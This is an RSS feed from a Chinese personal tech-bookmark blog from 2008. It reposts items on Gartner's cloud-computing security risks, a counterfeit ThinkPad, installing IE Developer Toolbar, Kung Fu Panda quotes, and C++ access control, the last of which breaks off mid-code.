<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[王宇的网摘]]></title> 
<link>http://www.dreamaroundworld.com/tech/index.php</link> 
<description><![CDATA[我收藏的各类信息...]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[王宇的网摘]]></copyright>
<item>
<link>http://www.dreamaroundworld.com/tech/read.php?1768</link>
<title><![CDATA[转贴:Gartner-云计算服务的七大潜在安全风险]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sat, 05 Jul 2008 03:12:44 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1768</guid> 
<description>
<![CDATA[ 
	<p style="text-indent: 2em">北京时间7月3日消息，据国外媒体报道，美国知名市场研究公司Gartner日前发布的一份研究报告称，虽然云计算(cloud-computing)产业具有巨大市场增长前景，但对于使用这项服务的企业用户来说，他们应该意识到，云计算服务存在着七大潜在安全风险。 </p><p style="text-indent: 2em">所谓云计算，就是指密集型网格(grid)服务，或称之为&ldquo;基于服务架构(SOA)&rdquo;的公共计算。云计算把软件和IT基础设施当作一种服务对外提供。通俗地讲，就是互联网公司向那些没有或不愿组建自身IT基础设施的中小型企业提供在线数据存储服务，第三方软件开发商也可利用云计算平台运行自己开发的应用软件。 </p><p style="text-indent: 2em">此前在线CRM(客户关系管理)软件服务商Salesforce.com和亚马逊已经推出了云计算服务，微软和Google也在陆续跟进。如Google前不久推出了App Engine服务，微软也计划今年晚些时候推出相应产品。除Gartner外，不少业界人士也表示，企业用户使用云计算服务，等于是把自己数据交给了另一家以盈利为目标的企业代为保管，其风险性不可忽视。这些人士还认为，云计算服务应当由政府部门提供，以保证云计算服务商的中立性。 </p><p style="text-indent: 2em">以下就是Gartner所提出的云计算服务7大潜在安全风险简介： </p><p style="text-indent: 2em"><strong>1、优先访问权风险 </strong></p><p style="text-indent: 2em">一般来说，企业数据都有其机密性。但这些企业把数据交给云计算服务商后，具有数据优先访问权的并不是相应企业，而是云计算服务商。如此一来，就不能排除企业数据被泄露出去的可能性。Gartner为此向企业用户提出建议，在选择使用云计算服务之前，应要求服务商提供其IT管理员及其他员工的相关信息，从而把数据泄露的风险降至最低。 </p><p style="text-indent: 2em"><strong>2、管理权限风险 </strong></p><p style="text-indent: 2em">虽然企业用户把数据交给云计算服务商托管，但数据安全及整合等事宜，最终仍将由企业自身负责。传统服务提供商一般会由外部机构来进行审计或进行安全认证。但如果云计算服务商拒绝这样做，则意味着企业客户无法对被托管数据加以有效利用。 </p><p style="text-indent: 2em"><strong>3、数据处所风险 </strong></p><p style="text-indent: 2em">当企业客户使用云计算服务时，他们并不清楚自己数据被放置在哪台服务器上，甚至根本不了解这台服务器放置在哪个国家。出于数据安全考虑，企业用户在选择使用云计算服务之前，应事先向云计算服务商了解，这些服务商是否从属于服务器放置地所在国的司法管辖；在这些国家展开调查时，云计算服务商是否有权拒绝提交所所托管数据。 </p><p style="text-indent: 2em"><strong>4、数据隔离风险 </strong></p><p style="text-indent: 2em">在云计算服务平台中，大量企业用户的数据处于共享环境下，即使采用数据加密方式，也不能保证做到万无一失。Gartner认为，解决该问题的最佳方案是：将自己数据与其他企业用户的数据隔离开来。Gartner报告称：&ldquo;数据加密在很多情况下并不有效，而且数据加密后，又将降低数据使用的效率。&rdquo; </p><p style="text-indent: 2em"><strong>5、数据恢复风险 </strong></p><p style="text-indent: 2em">即使企业用户了解自己数据被放置到哪台服务器上，也得要求服务商作出承诺，必须对所托管数据进行备份，以防止出现重大事故时，企业用户的数据无法得到恢复。Gartner建议，企业用户不但需了解服务商是否具有数据恢复的能力，而且还必须知道服务商能在多长时间内完成数据恢复。 </p><p style="text-indent: 2em"><strong>6、调查支持风险 </strong></p><p style="text-indent: 2em">通常情况下，如果企业用户试图展开违法活动调查，云计算服务商肯定不会配合，这当然合情合理。但如果企业用户只是想通过合法方式收集一些数据，云计算服务商也未必愿意提供，原因是云计算平台涉及到多家用户的数据，在一些数据查询过程中，可能会牵涉到云计算服务商的数据中心。如此一来，如果企业用户本身也是服务企业，当自己需要向其他用户提供数据收集服务时，则无法求助于云计算服务商。 </p><p style="text-indent: 2em"><strong>7、长期发展风险 </strong></p><p style="text-indent: 2em">如果企业用户选定了某家云计算服务商，最理想的状态是：这家服务商能够一直平稳发展，而不会出现破产或被大型公司收购现象。其理由很简单：如果云计算服务商破产或被他人收购，企业客户既有服务将被中断或变得不稳定。Gartner建议，在选择云计算服务商之前，应把长期发展风险因素考虑在内。</p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=web" rel="tag">web</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1767</link>
<title><![CDATA[转帖：山寨ThinkPad靓照曝光]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Fri, 04 Jul 2008 12:42:53 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1767</guid> 
<description>
<![CDATA[ 
	<p style="text-indent: 2em">前段时间，Hiphone、iOrenge这些中国山寨版的iPhone着实让笔者佩服得五体投地，看似不起眼的中国小作坊，可以将<a href="http://product.digi.163.com/digi/nb/brand/id=001600Bc0CWP0CWf.html" target="_blank"><span style="color: #1f3a87">苹果</span></a>研发人员多年的心血用几个月的时间，模仿到淋漓尽致。</p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_0.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p>山寨版&ldquo;小黑&rdquo;外观全接触<p style="text-indent: 2em">不过，最近在各大论坛流行的山寨ThinkPad，不仅仅有模仿，还有先进的自主创造、研发。能将Hiphone羞得体无完肤。我们在叹服中国山寨厂商鬼斧神工的同时，也得警惕如此悲剧发生在我们自己的头上。</p><p></p><p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_1.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p>LOGO是老版本ThinkPad上扣下 然后贴在外壳上的<p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_2.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p>侧面模块内置硬盘<p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_3.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p>绝对原创的开关设计<p></p><p style="text-indent: 2em">在电脑的左侧，散热孔旁边，又一个特殊的小白点。这就是山寨版ThinkPad的开关，开机时需要按住白点向指示方向推。</p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_4.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p>山寨ThinkPad笔记本的接口组<p></p><p style="text-indent: 2em">从接口上我们能够看到，里面包含了COM、LPT等稀有接口，网线接口也使老旧的调制解调接口。并且每个接口都有同样的特点：做工粗糙。</p><p style="text-indent: 2em">我们在山寨ThinkPad的背面，能够清晰看到Lenovo的LOGO，同时具备完整的注册信息，俨然是原厂正品。不过在背面右上角的酷似散热孔的部分，相信很多网友打死也想象不到这原来是电脑的音箱。拆下的电池也是又轻又薄。拆下电池后，主机背面露出主板的BIOS电池，不知是否为了校正超频而设计。</p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_5.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p>山寨ThinkPad背面结构<p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_6.jpg" border="0" alt="图片点击可在新窗口打开查看" width="160" height="120" /><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_7.jpg" border="0" alt="图片点击可在新窗口打开查看" width="160" height="120" /><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_8.jpg" border="0" alt="图片点击可在新窗口打开查看" width="160" height="120" /><p></p><p></p>背面细节<p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_9.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_10.jpg" border="0" alt="图片点击可在新窗口打开查看" width="240" height="180" /> <img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_11.jpg" border="0" alt="图片点击可在新窗口打开查看" width="240" height="180" /><p></p><p></p>适配器外观特写<p></p><p style="text-indent: 2em">在适配器方面，山寨版ThinkPad更是将艰苦朴素的优良作风发挥到了极致，适配器接口采用亮相供电。</p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_12.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_13.jpg" border="0" alt="图片点击可在新窗口打开查看" width="240" height="180" /> <img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_14.jpg" border="0" alt="图片点击可在新窗口打开查看" width="240" height="180" /><p></p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_15.jpg" border="0" alt="图片点击可在新窗口打开查看" width="240" height="180" /> <img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_16.jpg" border="0" alt="图片点击可在新窗口打开查看" width="240" height="180" /><p></p><p></p>山寨ThinkPad<p></p><p style="text-indent: 2em">在山寨ThinkPad的C面上，我们能构看到该款产品采用了历史悠久的触摸板设计，同时ThinkVantage按键也被提换成了一个小圆点。不过在C面掌托位置赫然贴着酷睿2、Vista Basic、ATI显卡的标识，同时铁有T61P铭牌。仿真度极高，甚至超越了现行版ThinkPad的经典。</p><p></p><img style="cursor: pointer" src="http://cimg2.163.com/catchimg/20080702/6048804_17.jpg" border="0" alt="图片点击可在新窗口打开查看" width="500" height="375" /><p></p><p></p>标准日系键盘<p></p><p style="text-indent: 2em">采用了标准的日系键盘排列，空格键都被分割为好几个功能按键。很容易让人误认是水货，不过据拥护表示，该款键盘的手感&ldquo;比挤毛豆的感觉更爽&rdquo;。</p><p style="text-indent: 2em">也许很多网友们看完如此经典的一款作品后，只会附之一笑；也许会同情上当了的消费者，为他的遭遇鸣不平；进一步也只是赞叹山寨场上的天马行空和鬼斧神工，担心自己在购买时也会碰上如此产品。其实攒ThinkPad的现象早有发生，只是以前都是使用成品的&ldquo;小黑&rdquo;，进行内部配件的升级和更换。笔者认为，这款山寨ThinkPad的经典之处在于它将成为一个信号，手机方面爆发的&ldquo;山寨机&rdquo;灾难，很可能被复制到笔记本身上。到时候，也许不只有山寨版ThinkPad，山寨版的XPS、天逸F41等热卖系列都会有山寨机出现在市场，到时候只能是一片大乱了。 </p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25B1%25B1%25E5%25AF%25A8" rel="tag">山寨</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=thinkpad" rel="tag">thinkpad</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E9%2592%2588%25E7%25A0%25AD%25E6%2597%25B6%25E5%25BC%258A" rel="tag">针砭时弊</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1766</link>
<title><![CDATA[转帖：IEDevToolBar下载、安装及使用——IE下查看页面CSS的web开发利器]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Thu, 03 Jul 2008 07:38:26 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1766</guid> 
<description>
<![CDATA[ 
	<div class="post-body"><p>微软的IEDevToolBar，这是一个免费的专门为Web开发人员制作的IE插件，IE插件IEDevToolBar可以帮助我们分析网站的布局结构，有助于我们学习和分析页面的CSS，其主要功能有：</p><p>&nbsp;&nbsp;&nbsp; 1.以树结构查看CodeDom，并查看每个Element属性，可以使用鼠标点击选中Element，这个在我们制作和调试网页时很有用；<br />&nbsp;&nbsp;&nbsp; 2.生成图片报表，就是将页面上说有出现的图片生成一份详细的报表，这样就省的我们自己去找图片路径和量图片大小等等；<br />&nbsp;&nbsp;&nbsp; 3.高亮显示表格，表格单元，Div等的边框，这个在我们调整布局时也是很有用；<br />&nbsp;&nbsp;&nbsp; 4.页面尺子，可以然你任意在页面上度量长度，这个是大大的提高了我们的工作效率，不用为了量个长度而抓图再用画图工具量。</p><p>&nbsp;&nbsp;&nbsp; 现在我就介绍给大家一起分享吧，装上后在Web项目调整界面时它真的是用处很多啊！</p><p>&nbsp;&nbsp;&nbsp; 附： 下载地址（英文版）：<a href="http://www.35at.com/post/download/IEDevToolBarSetup.msi">本地下载</a>&nbsp;&nbsp;<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=e59c3964-672d-4511-bb3e-2d5e1db91038&amp;DisplayLang=en">官方下载</a>&nbsp;</p><p>安装之后，在IE顶部菜单的&ldquo;查看&rdquo; － &ldquo;工具栏&rdquo; 里面钩选&ldquo;Developer Toolbar&rdquo;项即可。这下在IE下做 Web开发就方便多了！</p><p>&nbsp;&nbsp;&nbsp; 汉化方法：下载下面汉化.dll文件后解压，如果已安装英文版，则关闭所有的IE程序后覆盖IEDevToolbar.dll文件（默认安装路径为：&#92;Program Files&#92;Internet Explorer Developer Toolbar）。如果没有安装英文版，则可以将IEDevToolbar.dll文件解压到&#92;Windows&#92;System32目录下，然后运行：regsvr32 IEDevToolbar.dll即可。</p><p>&nbsp;&nbsp;&nbsp; 汉化IEDevToolbar.dll文件下载地址：<a href="http://www.35at.com/post/download/IEDevToolbar.rar">点击下载</a></p></div>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1765</link>
<title><![CDATA[转帖：《功夫熊猫》台词摘录]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[人生感悟]]></category>
<pubDate>Wed, 02 Jul 2008 11:49:46 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1765</guid> 
<description>
<![CDATA[ 
	<span>1.往往在逃避命运的路上,却与之不期而遇<br />　　One meets its destiny on the road he takes to avoid it<br />　　2.你的思想就如同水,我的朋友,当水波摇曳时,很难看清,不过当它平静下来,答案就清澈见底了.<br />　　Your mind is like this water, my friend , when it is agitated ,it becomes difficult to see ,but if you allow it to settle , the answer becomes clear.<br />　　true warrior, but do not surrender真正的武士绝不放弃<br />　　3.退出，不退出。做面条，不做面条。<br />　　Quit don&rsquo;t quit. Noodles don&rsquo;t noodles.<br />　　4.俗语说，<br />　　过去的,已经过去了<br />　　未来的,还未可知<br />　　现在,却是上苍的礼赠<br />　　那就是为什么今天是present(现在/礼物)<br />　　There is a saying,<br />　　Yesterday is history<br />　　Tomorrow is a mystery<br />　　But today is a gift<br />　　That is why it&rsquo;s called the present (the gift)<br />　　5.世间无巧合<br />　　There are no accidents.<br />　　6.乌龟:是的，看着这棵树，<br />　　我不能让树为我开花，<br />　　也不能让它提前结果<br />　　Yes ，look at this tree Chivu（师傅）<br />　　I can not make it boloosm and suits me ,<br />　　nor make it bear food before it&rsquo;s time .<br />　　师傅：但有些事情我们可以控制<br />　　我可以控制果实何时坠落<br />　　我还可以控制在何处播种<br />　　那可不是幻觉 大师<br />　　but there are things we can control<br />　　I can control when the fruit will fall<br />　　... And I can control<br />　　What time to seed<br />　　That is not illusion , Master<br />　　乌龟：是啊 不过无论你做了什么<br />　　那个种子还是会长成桃树<br />　　你可能想要苹果 或桔子<br />　　可你只能得到桃子<br />　　那个种子还是会长成桃树<br />　　Yes, but no matter what you do,<br />　　That seed will grow to be a peach tree<br />　　You may wish for an Apple or an orange<br />　　But you will get a peach<br />　　师傅：可桃子不能打败太郎<br />　　But peache can not defeate Tai Long<br />　　乌龟:也许它可以的 ,如果你愿意引导它、滋养它、相信它。<br />　　Maybe it can if you are willing to guide it , to nuture it , to believe in it .<br />　　7.你不能走，真的武士决不会退却you cannot leave ,real warrior never quits.<br />　　8.师傅：那你为什么不退出呢?<br />　　你知道我一直想把你赶走,<br />　　可你还是留下来了。<br />　　Why didn&rsquo;t you quit ? you know I was trying to get rid of you<br />　　but you stayed<br />　　阿宝：是啊，我留下来了。<br />　　我留下来是因为每次你往我头上丢砖头，<br />　　或说我难闻，这很伤我的心。<br />　　可最伤我心的是，我每天努力练习，却还是这个我。<br />　　我留下来，因为我以为，<br />　　如果还有人能改变我，<br />　　能让我焕然一新，<br />　　那就是你--<br />　　中国最伟大的功夫师父！<br />　　Yes ,I stayed .<br />　　I stayed ,because every time you threw up brick on the head<br />　　or said I smelled ,it hurts.<br />　　But it could never hurt more than I did everyday in my life just being me .<br />　　I stayed ,because I thought ..<br />　　If anyone could change me ,<br />　　could make me not me ,<br />　　it was you<br />　　the greatest Kong Fu teacher in the whole of China!<br />　　9. 阿宝，天不遂人愿，<br />　　况且这本不是天意，<br />　　阿宝，忘了其它的事情，<br />　　你的使命一直都在向你召唤。<br />　　我们是面条家族，<br />　　血管中流着这样的血。<br />　　I'm sorry things didn&rsquo;t work out &hellip;<br />　　It&rsquo;s just what it&rsquo;s meant to be<br />　　Paul ,forget everything else ,your destiny still awaits.<br />　　We are Noodle folk<br />　　Broth runs deep through our veins<br />　　10.我私家汤的绝密食材,就是&hellip;什么都没有。<br />　　认为它特别，它就特别了。<br />　　The secret ingredient of my secret ingredient soup is...nothing.<br />　　To make something special ,you just have to believe it&rsquo;s special.</span><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E4%25BA%25BA%25E7%2594%259F" rel="tag">人生</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1764</link>
<title><![CDATA[转帖：C++ 类访问控制public/private/protected探讨]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Unix&amp;Linux相关]]></category>
<pubDate>Fri, 16 May 2008 02:10:19 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1764</guid> 
<description>
<![CDATA[ 
	摘要：本文是从饮水思源BBS C/C++版上一篇帖子引发的思考。当时看到帖子，突然觉得平时见惯了的，在这里似乎变得陌生了，究竟访问控制符怎样起作用，怎样使用，该怎样理解，本文试图给出讨论。<br /><br />原帖如下<br /> <div>&nbsp;1&nbsp;#include&nbsp;&lt;IOSTREAM&gt;<br />&nbsp;2&nbsp;using&nbsp;namespace&nbsp;std;<br />&nbsp;3&nbsp;<br />&nbsp;4&nbsp;class&nbsp;A&#123;<br />&nbsp;5&nbsp;public:<br />&nbsp;6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A(int&nbsp;i_,int&nbsp;j_)<br />&nbsp;7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br />&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i=i_;<br />&nbsp;9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j=j_;<br />10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br />11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;void&nbsp;disp(A&nbsp;&amp;a)<br />12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br />13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&lt;&lt;a.i&lt;&lt;endl&lt;&lt;a.j&lt;&lt;endl;<br />14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br />15&nbsp;<br />16&nbsp;private:<br />17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i;<br />18&nbsp;protected:<br />19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;j;<br />20&nbsp;&#125;;<br />21&nbsp;<br />22&nbsp;int&nbsp;main(int&nbsp;argc,&nbsp;char*&nbsp;argv[])<br />23&nbsp;&#123;<br />24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A&nbsp;a(123,456);<br />25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A&nbsp;b(789,543);<br />26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a.disp(b);<br />27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b.disp(a);<br />28&nbsp;<br />29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<br />30&nbsp;&#125;</div> <br /> <div>&nbsp;</div> <p>初看起来，倒是会产生疑问。为什么会这样，是否有bug？<br />仔细考究起来，我们其实可以这样看待类和对象：<br />类是将数据成员和进行于其上的一系列操作(成员函数)封装在一起,注意：成员函数可以操作数据成员（可以称类中的数据成员为泛数据成员）！<br />对象是类的实例化，怎样理解实例化？其实每一个实例对象都只是对其中的数据成员初始化，内存映像中每个对象仅仅保留属于自己的那份数据成员副本。而成员函数对于整个类而言却是共享的，即一个类只保留一份成员函数。<br />那 么每个对象怎样和这些可以认为是&ldquo;分离&rdquo;的成员函数发生联系，即成员函数如何操作对象的数据成员？记住this指针，无论对象通过(.)操作或者(- &gt;)操作调用成员函数，编译时刻，编译器都会将这种调用转换成我们常见的全局函数的形式，并且多出一个参数(一般这个参数放在第一个)，然后将 this指针传入这个参数。于是就完成了对象与成员函数的绑定(或联系).<br />实例化后就得到同一个类的多个不同的对象，既然成员函数共享的，那么成员函数就可以操作对象的数据成员。<br />问题是现在有多个对象，成员函数需要知道操作的是哪个对象的数据成员？<br />比如有对象obj1和obj2，都属于A类，A类有public成员函数foo()<br />如果obj1调用该函数，编译时会给foo函数传入this指针，obj1,foo中操作obj1自身的成员就不用任何修饰，直接访问，因为其中的数据成员自动根据this指针找到。<br />如果obj1调用该函数，同样可以访问同类的其他对象的数据成员！那么你需要做的是让foo函数知道是同类对象中哪个对象的数据成员，一个解决办法是传入同类其他对象的指针或引用，那么就可以操作同类其他对象的数据成员。<br />foo(A &amp;obj)<br />这样定义，然后调用：<br />obj1.foo(obj2)<br />就可以在obj1访问obj2的数据成员，而无论这些数据成员是private还是protected</p> <p>搬出C++ Object Model,可以画出各个对象的内存map就可以更清晰的看出:<br /><br /><br />总结：C++的访问修饰符的作用是以类为单位，而不是以对象为单位。<br /><br />通俗的讲，同类的对象间可以&ldquo;互相访问&rdquo;对方的数据成员，只不过访问途径不是直接访问.<br />步 骤是：通过一个对象调用其public成员函数，此成员函数可以访问到自己的或者同类其他对象的public/private/protected数据成 员和成员函数(类的所有对象共用)，而且还需要指明是哪个对象的数据成员(调用函数的对象自己的成员不用指明，因为有this指针；其他对象的数据成员可 以通过引用或指针间接指明)<br /><br />C++中public,protected,private访问小结<br />第一:private,public,protected方法的访问范围.（public继承下）<br />private: 只能由该类中的函数、其友元函数访问,不能被任何其他访问，该类的对象也不能访问. <br />protected: 可以被该类中的函数、子类的函数、以及其友元函数访问,但不能被该类的对象访问 <br />public: 可以被该类中的函数、子类的函数、其友元函数访问,也可以由该类的对象访问<br />注：友元函数包括两种：设为友元的全局函数，设为友元类中的成员函数<br /><br />第二:类的继承后方法属性变化: <br />使用private继承,父类的所有方法在子类中变为private; <br />使用protected继承,父类的protected和public方法在子类中变为protected,private方法不变; <br />使用public继承,父类中的方法属性不发生改变;&nbsp;<br />&nbsp; <table border="1" cellspacing="0" cellpadding="3" style="width: 320px; border-collapse: collapse">&nbsp;&nbsp;&nbsp;&nbsp; <tbody>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>&nbsp;</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>public:</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>protected:</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>private:</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>public继承</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>public</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>protected</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>---</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>protected继承</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td style="background-color: yellow">protected</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>protected</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>---</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td style="width: 96px; height: 26px">private继承</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td style="background-color: yellow">private</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td style="background-color: yellow">private</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>---</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </tr>&nbsp;&nbsp;&nbsp;&nbsp; </tbody> </table> <br />protected继承和private继承能降低访问权限<br /><br />再次提到：可以提供访问行为的主语为&ldquo;函数&rdquo;。<br />类体内的访问没有访问限制一说，即private函数可以访问public/protected/private成员函数或数据成员，同理，protected函数，public函数也可以任意访问该类体中定义的成员<br />public继承下，基类中的public和protected成员继承为该子类的public和protected成员（成员函数或数据成员），然后访问仍然按类内的无限制访问<br /><br /><br /> <table border="1" cellspacing="0" cellpadding="3" style="width: 720px; border-collapse: collapse">&nbsp;&nbsp;&nbsp;&nbsp; <tbody>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <p>对于类域范围内，成员函数访问无所谓访问限制。<br />对于继承情况下的基类private成员，在派生类中仍然继承了下来，只不过它不能直接访问, &nbsp; 即使在类里也不行, &nbsp; 更不用说是类对象了。<br />可以通过下列例子看到：<br /></p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <div class="CODE" style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; font-size: 13px; width: 98%; background-color: #eeeeee"><span style="color: #008080">&nbsp;1</span>&nbsp;<span style="color: #000000">#include&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">iostream</span><span style="color: #000000">&gt;</span><span style="color: #000000"><br /></span><span style="color: #008080">&nbsp;2</span>&nbsp;<span style="color: #0000ff">using</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">namespace</span><span style="color: #000000">&nbsp;std;<br /></span><span style="color: #008080">&nbsp;3</span>&nbsp;<span style="color: #000000"><br /></span><span style="color: #008080">&nbsp;4</span>&nbsp;<span style="color: #0000ff">class</span><span style="color: #000000">&nbsp;C&#123;<br /></span><span style="color: #008080">&nbsp;5</span>&nbsp;<span style="color: #0000ff">public</span><span style="color: #000000">:<br /></span><span style="color: #008080">&nbsp;6</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;C(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;val)&nbsp;:&nbsp;m_c(val)&nbsp;&#123;&#125;<br 